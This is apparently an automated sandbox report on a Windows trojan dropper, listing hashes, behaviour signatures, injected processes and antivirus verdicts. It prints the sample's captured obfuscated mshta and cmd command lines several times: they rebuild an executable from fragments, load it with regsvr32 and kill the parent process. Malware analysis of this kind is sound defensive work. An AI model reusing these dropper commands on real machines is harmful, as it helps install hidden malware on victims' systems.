Summary | ZeroBOX

sfx_123_701.exe

Downloader HTTP ScreenShot Create Service KeyLogger Internet API P2P DGA Hijack Network Http API persistence FTP Socket Escalate priviledges DNS Code injection Sniff Audio Steal credential OS Processor Check AntiDebug PE File DLL AntiVM PE32
Category Machine Started Completed
FILE s1_win7_x6402 June 25, 2021, 10:06 a.m. June 25, 2021, 10:26 a.m.
Size 1.7MB
Type PE32 executable (GUI) Intel 80386, for MS Windows
MD5 ef3a953c9b8c6e64271a8dc164b3455e
SHA256 0aa2f411f7491197cb3b4aeaf0fb09587363907fdb75f6725dc5d1c887f11ab2
CRC32 5F88643C
ssdeep 49152:lqbxYnkXlm7fUoXXkKl1WCCVtkH84EHTtR3c:cxYnkXlmLHkKTWf+c4EzHc
PDB Path D:\Projects\WinRAR\sfx\build\sfxzip32\Release\sfxzip.pdb
Yara
  • PE_Header_Zero - PE File Signature
  • OS_Processor_Check_Zero - OS Processor Check
  • IsPE32 - (no description)

Name Response Post-Analysis Lookup
No hosts contacted.
IP Address Status Action
172.217.174.195 Active Moloch
172.217.25.14 Active Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GetComputerNameW

computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

WriteConsoleW

buffer: 1 file(s) copied.
console_handle: 0x00000007
1 1 0

WriteConsoleW

buffer: SUCCESS: The process "sfx_123_701.exe" with PID 6240 has been terminated.
console_handle: 0x00000007
1 1 0

WriteConsoleW

buffer: The file cannot be copied onto itself.
console_handle: 0x00000007
1 1 0

WriteConsoleW

buffer: 0 file(s) copied.
console_handle: 0x00000007
1 1 0

WriteConsoleW

buffer: BmRXXNP.CN
console_handle: 0x00000007
1 1 0

WriteConsoleW

buffer: 61fnmr.L
console_handle: 0x00000007
1 1 0

WriteConsoleW

buffer: tBY5.3W
console_handle: 0x00000007
1 1 0

WriteConsoleW

buffer: mpvo_KI.QW
console_handle: 0x00000007
1 1 0

WriteConsoleW

buffer: 1 file(s) copied.
console_handle: 0x00000007
1 1 0
pdb_path D:\Projects\WinRAR\sfx\build\sfxzip32\Release\sfxzip.pdb
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

1 1 0
section .gfids
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

process_identifier: 6240
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73772000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 4864
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73772000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 8992
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73772000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2228
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73772000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 1608
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73772000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 6440
region_size: 1060864
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x2cc30000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 6440
region_size: 1060864
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x2cd40000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 6440
region_size: 704512
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x2ce50000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 6440
region_size: 712704
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x2cf00000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 6440
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x005c0000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0xffffffff
1 0 0
cmdline "C:\Windows\System32\mshta.exe" VBScripT: ClOse ( CreaTEoBjeCT ("wscRIPt.SHeLL"). rUN ( "CMD.EXE /q /C eChO | sEt /P = ""MZ"" > BmRXXNP.CN &COPy /Y /B BmRxxNP.CN + 61fnmr.L + TBY5.3W +mpVO_KI.QW ..\nM~eG.K& dEl /q *& stART regsvr32.exe ..\nm~EG.K /S " , 0 , truE ) )
cmdline "C:\Windows\System32\cmd.exe" /q /C eChO | sEt /P = "MZ" > BmRXXNP.CN &COPy /Y /B BmRxxNP.CN + 61fnmr.L +TBY5.3W +mpVO_KI.QW ..\nM~eG.K&dEl /q *& stART regsvr32.exe ..\nm~EG.K /S
cmdline "C:\Windows\System32\mshta.exe" VbscRIPt:ClosE (createoBject ( "WScRiPT.sHelL" ). RUN ( "C:\Windows\system32\cmd.exe /q /c cOPY /Y ""C:\Users\test22\AppData\Local\Temp\p10.eXE"" ..\p10.eXE && sTARt ..\p10.exe /pOA2QvaTol97tDypnQdSXIpZeOkE &if ""/pOA2QvaTol97tDypnQdSXIpZeOkE "" == """" for %X In ( ""C:\Users\test22\AppData\Local\Temp\p10.eXE"" ) do taskkill -iM ""%~nXX"" /f " , 0 , TRue ) )
cmdline C:\Windows\system32\cmd.exe /S /D /c" sEt /P = "MZ" 1>BmRXXNP.CN"
cmdline regsvr32.exe ..\nm~EG.K /S
cmdline CMD.EXE /q /C eChO | sEt /P = "MZ" > BmRXXNP.CN &COPy /Y /B BmRxxNP.CN + 61fnmr.L +TBY5.3W +mpVO_KI.QW ..\nM~eG.K&dEl /q *& stART regsvr32.exe ..\nm~EG.K /S
cmdline msHTa.eXE VbscRIPt:ClosE (createoBject ( "WScRiPT.sHelL" ). RUN ( "C:\Windows\system32\cmd.exe /q /c cOPY /Y ""C:\Users\test22\AppData\Local\Temp\sfx_123_701.exe"" ..\p10.eXE && sTARt ..\p10.exe /pOA2QvaTol97tDypnQdSXIpZeOkE &if """" == """" for %X In ( ""C:\Users\test22\AppData\Local\Temp\sfx_123_701.exe"" ) do taskkill -iM ""%~nXX"" /f " , 0 , TRue ) )
cmdline C:\Windows\System32\cmd.exe /q /c cOPY /Y "C:\Users\test22\AppData\Local\Temp\sfx_123_701.exe" ..\p10.eXE && sTARt ..\p10.exe /pOA2QvaTol97tDypnQdSXIpZeOkE &if "" == "" for %X In ( "C:\Users\test22\AppData\Local\Temp\sfx_123_701.exe" ) do taskkill -iM "%~nXX" /f
cmdline "C:\Windows\System32\mshta.exe" VbscRIPt:ClosE (createoBject ( "WScRiPT.sHelL" ). RUN ( "C:\Windows\system32\cmd.exe /q /c cOPY /Y ""C:\Users\test22\AppData\Local\Temp\sfx_123_701.exe"" ..\p10.eXE && sTARt ..\p10.exe /pOA2QvaTol97tDypnQdSXIpZeOkE &if """" == """" for %X In ( ""C:\Users\test22\AppData\Local\Temp\sfx_123_701.exe"" ) do taskkill -iM ""%~nXX"" /f " , 0 , TRue ) )
cmdline C:\Windows\system32\cmd.exe /S /D /c" eChO "
cmdline "C:\Windows\system32\cmd.exe" /q /c cOPY /Y "C:\Users\test22\AppData\Local\Temp\p10.eXE" ..\p10.eXE && sTARt ..\p10.exe /pOA2QvaTol97tDypnQdSXIpZeOkE &if "/pOA2QvaTol97tDypnQdSXIpZeOkE " == "" for %X In ( "C:\Users\test22\AppData\Local\Temp\p10.eXE" ) do taskkill -iM "%~nXX" /f
cmdline C:\Windows\System32\cmd.exe /q /c cOPY /Y "C:\Users\test22\AppData\Local\Temp\p10.eXE" ..\p10.eXE && sTARt ..\p10.exe /pOA2QvaTol97tDypnQdSXIpZeOkE &if "/pOA2QvaTol97tDypnQdSXIpZeOkE " == "" for %X In ( "C:\Users\test22\AppData\Local\Temp\p10.eXE" ) do taskkill -iM "%~nXX" /f
cmdline mShtA VBScripT: ClOse ( CreaTEoBjeCT ("wscRIPt.SHeLL"). rUN ( "CMD.EXE /q /C eChO | sEt /P = ""MZ"" > BmRXXNP.CN &COPy /Y /B BmRxxNP.CN + 61fnmr.L + TBY5.3W +mpVO_KI.QW ..\nM~eG.K& dEl /q *& stART regsvr32.exe ..\nm~EG.K /S " , 0 , truE ) )
cmdline "C:\Windows\system32\cmd.exe" /q /c cOPY /Y "C:\Users\test22\AppData\Local\Temp\sfx_123_701.exe" ..\p10.eXE && sTARt ..\p10.exe /pOA2QvaTol97tDypnQdSXIpZeOkE &if "" == "" for %X In ( "C:\Users\test22\AppData\Local\Temp\sfx_123_701.exe" ) do taskkill -iM "%~nXX" /f
cmdline msHTa.eXE VbscRIPt:ClosE (createoBject ( "WScRiPT.sHelL" ). RUN ( "C:\Windows\system32\cmd.exe /q /c cOPY /Y ""C:\Users\test22\AppData\Local\Temp\p10.eXE"" ..\p10.eXE && sTARt ..\p10.exe /pOA2QvaTol97tDypnQdSXIpZeOkE &if ""/pOA2QvaTol97tDypnQdSXIpZeOkE "" == """" for %X In ( ""C:\Users\test22\AppData\Local\Temp\p10.eXE"" ) do taskkill -iM ""%~nXX"" /f " , 0 , TRue ) )
file C:\Users\test22\AppData\Local\Temp\nM~eG.K
wmi SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "sfx_123_701.exe")
Time & API Arguments Status Return Repeated

ShellExecuteExW

show_type: 0
filepath_r: C:\Windows\system32\cmd.exe
parameters: /q /c cOPY /Y "C:\Users\test22\AppData\Local\Temp\sfx_123_701.exe" ..\p10.eXE && sTARt ..\p10.exe /pOA2QvaTol97tDypnQdSXIpZeOkE &if "" == "" for %X In ( "C:\Users\test22\AppData\Local\Temp\sfx_123_701.exe" ) do taskkill -iM "%~nXX" /f
filepath: C:\Windows\System32\cmd.exe
1 1 0

ShellExecuteExW

show_type: 0
filepath_r: C:\Windows\system32\cmd.exe
parameters: /q /c cOPY /Y "C:\Users\test22\AppData\Local\Temp\p10.eXE" ..\p10.eXE && sTARt ..\p10.exe /pOA2QvaTol97tDypnQdSXIpZeOkE &if "/pOA2QvaTol97tDypnQdSXIpZeOkE " == "" for %X In ( "C:\Users\test22\AppData\Local\Temp\p10.eXE" ) do taskkill -iM "%~nXX" /f
filepath: C:\Windows\System32\cmd.exe
1 1 0

ShellExecuteExW

show_type: 0
filepath_r: CMD.EXE
parameters: /q /C eChO | sEt /P = "MZ" > BmRXXNP.CN &COPy /Y /B BmRxxNP.CN + 61fnmr.L +TBY5.3W +mpVO_KI.QW ..\nM~eG.K&dEl /q *& stART regsvr32.exe ..\nm~EG.K /S
filepath: CMD.EXE
1 1 0
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

system_name:
privilege_name: SeDebugPrivilege
1 1 0
url http://www.microsoft.com/schemas/ie8tldlistdescription/1.0
url http://purl.org/rss/1.0/
url http://www.passport.com
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
description Communication using DGA rule Network_DGA
description Communications use DNS rule Network_DNS
description Communications over RAW Socket rule Network_TCP_Socket
description Create a windows service rule Create_Service
description Record Audio rule Sniff_Audio
description Communications over HTTP rule Network_HTTP
description Escalate priviledges rule Escalate_priviledges
description Run a KeyLogger rule KeyLogger
description Communications over FTP rule Network_FTP
description Hijack network configuration rule Hijack_Network
description Code injection with CreateRemoteThread in a remote process rule Code_injection
description Match Windows Http API call rule Str_Win32_Http_API
description Match Windows Inet API call rule Str_Win32_Internet_API
description Steal credential rule local_credential_Steal
description Take ScreenShot rule ScreenShot
description File Downloader rule Network_Downloader
description Communications over P2P network rule Network_P2P_Win
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerCheck__RemoteAPI
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule DebuggerException__ConsoleCtrl
description (no description) rule DebuggerException__SetConsoleCtrl
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description (no description) rule Check_Dlls
description Checks if being debugged rule anti_dbg
description Anti-Sandbox checks for ThreatExpert rule antisb_threatExpert
description Bypass DEP rule disable_dep
description Affect hook table rule win_hook
description Install itself for autorun at Windows startup rule Persistence
description Communication using DGA rule Network_DGA
description Communications use DNS rule Network_DNS
description Communications over RAW Socket rule Network_TCP_Socket
description Create a windows service rule Create_Service
description Record Audio rule Sniff_Audio
description Communications over HTTP rule Network_HTTP
description Escalate priviledges rule Escalate_priviledges
description Run a KeyLogger rule KeyLogger
description Communications over FTP rule Network_FTP
description Code injection with CreateRemoteThread in a remote process rule Code_injection
Time & API Arguments Status Return Repeated

NtTerminateProcess

status_code: 0x00000001
process_identifier: 6240
process_handle: 0x00000184
0 0

NtTerminateProcess

status_code: 0x00000001
process_identifier: 6240
process_handle: 0x00000184
1 0 0
cmdline "C:\Windows\System32\cmd.exe" /q /C eChO | sEt /P = "MZ" > BmRXXNP.CN &COPy /Y /B BmRxxNP.CN + 61fnmr.L +TBY5.3W +mpVO_KI.QW ..\nM~eG.K&dEl /q *& stART regsvr32.exe ..\nm~EG.K /S
cmdline "C:\Windows\System32\mshta.exe" VbscRIPt:ClosE (createoBject ( "WScRiPT.sHelL" ). RUN ( "C:\Windows\system32\cmd.exe /q /c cOPY /Y ""C:\Users\test22\AppData\Local\Temp\p10.eXE"" ..\p10.eXE && sTARt ..\p10.exe /pOA2QvaTol97tDypnQdSXIpZeOkE &if ""/pOA2QvaTol97tDypnQdSXIpZeOkE "" == """" for %X In ( ""C:\Users\test22\AppData\Local\Temp\p10.eXE"" ) do taskkill -iM ""%~nXX"" /f " , 0 , TRue ) )
cmdline CMD.EXE /q /C eChO | sEt /P = "MZ" > BmRXXNP.CN &COPy /Y /B BmRxxNP.CN + 61fnmr.L +TBY5.3W +mpVO_KI.QW ..\nM~eG.K&dEl /q *& stART regsvr32.exe ..\nm~EG.K /S
cmdline msHTa.eXE VbscRIPt:ClosE (createoBject ( "WScRiPT.sHelL" ). RUN ( "C:\Windows\system32\cmd.exe /q /c cOPY /Y ""C:\Users\test22\AppData\Local\Temp\sfx_123_701.exe"" ..\p10.eXE && sTARt ..\p10.exe /pOA2QvaTol97tDypnQdSXIpZeOkE &if """" == """" for %X In ( ""C:\Users\test22\AppData\Local\Temp\sfx_123_701.exe"" ) do taskkill -iM ""%~nXX"" /f " , 0 , TRue ) )
cmdline C:\Windows\System32\cmd.exe /q /c cOPY /Y "C:\Users\test22\AppData\Local\Temp\sfx_123_701.exe" ..\p10.eXE && sTARt ..\p10.exe /pOA2QvaTol97tDypnQdSXIpZeOkE &if "" == "" for %X In ( "C:\Users\test22\AppData\Local\Temp\sfx_123_701.exe" ) do taskkill -iM "%~nXX" /f
cmdline "C:\Windows\System32\mshta.exe" VbscRIPt:ClosE (createoBject ( "WScRiPT.sHelL" ). RUN ( "C:\Windows\system32\cmd.exe /q /c cOPY /Y ""C:\Users\test22\AppData\Local\Temp\sfx_123_701.exe"" ..\p10.eXE && sTARt ..\p10.exe /pOA2QvaTol97tDypnQdSXIpZeOkE &if """" == """" for %X In ( ""C:\Users\test22\AppData\Local\Temp\sfx_123_701.exe"" ) do taskkill -iM ""%~nXX"" /f " , 0 , TRue ) )
cmdline "C:\Windows\system32\cmd.exe" /q /c cOPY /Y "C:\Users\test22\AppData\Local\Temp\p10.eXE" ..\p10.eXE && sTARt ..\p10.exe /pOA2QvaTol97tDypnQdSXIpZeOkE &if "/pOA2QvaTol97tDypnQdSXIpZeOkE " == "" for %X In ( "C:\Users\test22\AppData\Local\Temp\p10.eXE" ) do taskkill -iM "%~nXX" /f
cmdline taskkill -iM "sfx_123_701.exe" /f
cmdline C:\Windows\System32\cmd.exe /q /c cOPY /Y "C:\Users\test22\AppData\Local\Temp\p10.eXE" ..\p10.eXE && sTARt ..\p10.exe /pOA2QvaTol97tDypnQdSXIpZeOkE &if "/pOA2QvaTol97tDypnQdSXIpZeOkE " == "" for %X In ( "C:\Users\test22\AppData\Local\Temp\p10.eXE" ) do taskkill -iM "%~nXX" /f
cmdline "C:\Windows\system32\cmd.exe" /q /c cOPY /Y "C:\Users\test22\AppData\Local\Temp\sfx_123_701.exe" ..\p10.eXE && sTARt ..\p10.exe /pOA2QvaTol97tDypnQdSXIpZeOkE &if "" == "" for %X In ( "C:\Users\test22\AppData\Local\Temp\sfx_123_701.exe" ) do taskkill -iM "%~nXX" /f
cmdline msHTa.eXE VbscRIPt:ClosE (createoBject ( "WScRiPT.sHelL" ). RUN ( "C:\Windows\system32\cmd.exe /q /c cOPY /Y ""C:\Users\test22\AppData\Local\Temp\p10.eXE"" ..\p10.eXE && sTARt ..\p10.exe /pOA2QvaTol97tDypnQdSXIpZeOkE &if ""/pOA2QvaTol97tDypnQdSXIpZeOkE "" == """" for %X In ( ""C:\Users\test22\AppData\Local\Temp\p10.eXE"" ) do taskkill -iM ""%~nXX"" /f " , 0 , TRue ) )
host 172.217.174.195
host 172.217.25.14
Bkav W32.AIDetect.malware2
FireEye Generic.mg.ef3a953c9b8c6e64
Cylance Unsafe
Cybereason malicious.8c680b
APEX Malicious
Kaspersky UDS:DangerousObject.Multi.Generic
Paloalto generic.ml
Sophos Generic ML PUA (PUA)
Baidu Archive.Bomb
McAfee-GW-Edition BehavesLike.Win32.AdwareLinkury.tc
SentinelOne Static AI - Suspicious PE
eGambit Unsafe.AI_Score_99%
Microsoft Trojan:Win32/Bunitucrypt.RW!MTB
Cynet Malicious (score: 100)
McAfee Artemis!EF3A953C9B8C
Zoner Probably Heur.RARAutorun
Yandex Trojan.Slntscn24.bVWkC5
Webroot W32.Trojan.Gen
CrowdStrike win/malicious_confidence_60% (W)
Process injection Process 7232 resumed a thread in remote process 8992
Process injection Process 8992 resumed a thread in remote process 1608
Process injection Process 4012 resumed a thread in remote process 6440
Time & API Arguments Status Return Repeated

NtResumeThread

thread_handle: 0x00000088
suspend_count: 0
process_identifier: 8992
1 0 0

NtResumeThread

thread_handle: 0x00000298
suspend_count: 1
process_identifier: 1608
1 0 0

NtResumeThread

thread_handle: 0x0000008c
suspend_count: 0
process_identifier: 6440
1 0 0